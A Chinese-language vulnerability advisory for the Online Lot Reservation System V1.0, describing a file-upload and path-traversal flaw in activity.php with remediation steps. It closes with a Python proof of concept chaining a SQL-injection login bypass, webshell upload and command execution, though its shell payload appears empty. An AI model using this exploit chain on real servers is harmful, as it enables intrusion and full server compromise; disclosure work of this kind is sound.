# code-projects Online Lot Reservation System V1.0 漏洞总结 ## 漏洞概述 * **项目名称**: Online Lot Reservation System V1.0 * **漏洞文件**: `activity.php` * **漏洞类型**: 任意文件上传 + 路径遍历 (Arbitrary File Upload + Path Traversal) * **触发条件**: 无需登录或获取授权 (可通过 SQL 注入获取管理员会话) * **成因**: 1. **文件类型检测可绕过**: 使用 `getimagesize()` 检测文件类型,攻击者可添加 GIF89a 魔术字节绕过。 2. **可控目录参数**: `directory` 参数直接拼接到上传路径,未进行过滤。 3. **路径遍历漏洞**: 攻击者可使用 `../` 遍历到根目录。 4. **文件名未重命名**: 上传文件的原始文件名被直接使用。 ## 影响范围 * 攻击者可以将恶意文件上传到任意目录。 * 攻击者可以将文件上传到 Web 根目录。 * 攻击者可以远程执行任意系统命令。 * 攻击者可能获得服务器的完全控制权。 ## 修复方案 1. **严格验证目录参数**: 限制允许的目录列表。 2. **禁止路径穿越**: 替换路径中的 `../` 等字符,并检查最终路径是否在允许范围内。 3. **严格文件类型验证**: 仅允许特定的扩展名(如 jpg, jpeg, gif, png)。 4. **检查文件的 MIME 类型**: 使用 `finfo` 等工具验证文件头信息。 5. **重命名上传文件**: 使用随机文件名(如 `uniqid()`)避免覆盖或预测文件名。 6. **禁止上传目录执行**: 配置 Web 服务器(如 Apache/Nginx)禁止上传目录执行 PHP 文件。 ## POC 代码 (Python) ```python #!/usr/bin/env python3 import requests from urllib.parse import urljoin url = "http://127.0.0.1:7777" cmd = "system('whoami');" s = requests.Session() # # 1. SQL Injection to Obtain Cookies login_url = urljoin(url, "/onlineLot/loginuser.php") payload = { "email": "admin' OR '1'='1' -- ", "password": "test" } r = s.post(login_url, data=payload, allow_redirects=False) if r.status_code != 302: print("[-] Login failed") exit() print("[+] Login success") # # 2. Upload WebShell (Path traversal to the root directory) upload_url = urljoin(url, "/onlineLot/activity.php") shell = b"GIF89a " files = {'image': ('shell.php', shell, 'image/gif')} data = {'directory': '../', 'date': '2024-05-01', 'id': '1'} r = s.post(upload_url, files=files, data=data, allow_redirects=False) if r.status_code != 302: print("[-] Upload failed") exit() print("[+] Shell uploaded") # # 3. Execute Commands shell_url = urljoin(url, "/onlineLot/shell.php") r = s.get(shell_url, params={'cmd': cmd}) print("[+] Command output:") print(r.text.replace("GIF89a", "").strip()) ```